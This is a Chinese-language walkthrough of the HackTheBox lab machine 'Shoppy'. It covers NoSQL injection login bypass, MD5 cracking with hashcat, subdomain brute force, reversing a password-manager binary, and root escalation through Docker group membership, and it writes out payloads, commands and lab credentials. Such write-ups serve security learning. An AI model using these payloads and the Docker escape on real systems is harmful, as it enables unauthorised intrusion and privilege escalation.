考点
- Docker用户组提权
- NOSQL注入
- 逆向分析
- 信息搜集
前期信息搜集
拿到靶机之后先进行信息收集:
首先先往hosts文件中加一下靶机的解析sudo echo 10.10.11.180 shoppy.htb>>/etc/hosts
nmap -sS -sC -sV 10.10.11.180
开放了22端口和一个80端口,起了一个nginx网站,网站没有什么值得注意的特征,对网站的目录进行扫描搜集,发现了admin的登录界面:
NoSQL注入
登录抓包进行分析:
尝试爆破,但是无果,思路转向是否可以进行sql注入,使用万能密码和一些其他的方法都以失败告终,这时候就要思考是不是NoSQL注入
可以猜测NoSQL语句为username=='xxx'&&password=='xxx'
尝试payloadadmin'||1=='1
或者1'||1=='1%00(猜测为PHP截断?)
:
这样语句查询就变为username=='admin'||1=='1&&password='1'
,由于与的优先级比或高,因此也就是(username=='admin')||(1=='1'&&password='1')
子域名爆破
admin界面有查询用户的功能,同样尝试使用nosql的万能密码:
出现了一个json数据单:
包含用户账号密码,密码经过了md5的编码,我们使用hashcat进行碰撞:echo 23c6877d9e2b564ef8b32c3a23de27b2 >> hash.txt
echo 6ebcea65320589ca4f2f1ce039975995 >> hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 指定hashcat的模式,默认为md5,而0表示的就是md5
后面指定密文和碰撞字典
admin的密码破解不了,但是josh用户的密码有了(这里有缓存,所以加了一个show直接显示),ssh登录无果,所以思路转向是否有别的子站呢?进行子域名爆破,这里我们使用gobuster进行爆破,当然也有其他很多优秀的脚本如wfuzz、ksudomain、oneforall
:obuster vhost -w SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u shoppy.htb
vhost模式进行域名爆破,其他参数请看https://github.com/OJ/gobuster
-w 指定爆破字典
-t 50 线程为50
-u URL域名
不过这里我失败,gobuster有点毛病,所以又换成wfuzz了wfuzz -c -w SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u 10.10.11.180 -H "Host: FUZZ.shoppy.htb" --hc 301
-c : 获得有色彩的结果
-w : 指定字典
-u : URL
-H : 域名
–hc : 屏蔽某种响应码
发现mattermost.shoppy.htb
,同样添加一条解析到hosts文件,访问网站:
可以发现用户的聊天记录,找到了一组ssh用户密码:username: jaeger
password: Sh0ppyBest@pp!
ssh连接靶机:
到这里获取第一个flag:
现在为非root权限,那么就需要寻找提权的方法,首先先sudo -l
查看一波可以sudo运行的命令
发现文件/home/deploy/password-manager
,是deploy用户的,进去康康:
其他用户没有运行的权限,那么我们把他下载下来拖进到IDEA分析康康,起一个python服务拿来下载:pythoh3 -m http.server
逆向分析可执行文件
拿到文件后,可以再kali用radare2静态分析这个程序:r2 password-manager
aaa //自动分析命名函数
afl //查看程序内的函数
找到了main函数,先定位到mains main //定位到main
pdf //生成汇编代码
就算我不会汇编代码,我也看得出来这是要我们输入一个字符串,然后将字符串和Sample进行一一比对,所以密码就是Sample,输入Sample之后就会读取cred.txt文件:
用IDA分析也是一样的结果:
之后获取deploy用户的账号密码
Docker用户组提权
拿到之后再次进行SSH连接,发现属于Docker用户组:
可以看到有一个alpine镜像:
属于Docker用户组的用户和root用户都可以运行docker指令,因此有这个权限我们可以利用docker指令进行提权,这里有两种方法:docker run -it -v /:/mnt alpine chroot /mnt sh
这个命令将容器外也就是靶机的根目录挂载到了容器内的mnt目录内,之后运行chroot /mnt sh
,获取root权限
chroot 切换到指定目录,后面可以跟目录和进入目录后运行的指令
/mnt 进入的目录,mnt目录
sh 进入目录后的指令,也就是root
这里进入mnt也就等于进入了靶机的根目录,因此成功逃逸
还有一种方法就是docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
其实和第一种方法一个意思,挂载根目录,但是镜像chrisfosterelli/rootplease的启动指令就是chroot /hostOS sh
实际上就是一样的
获取system的flag:
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.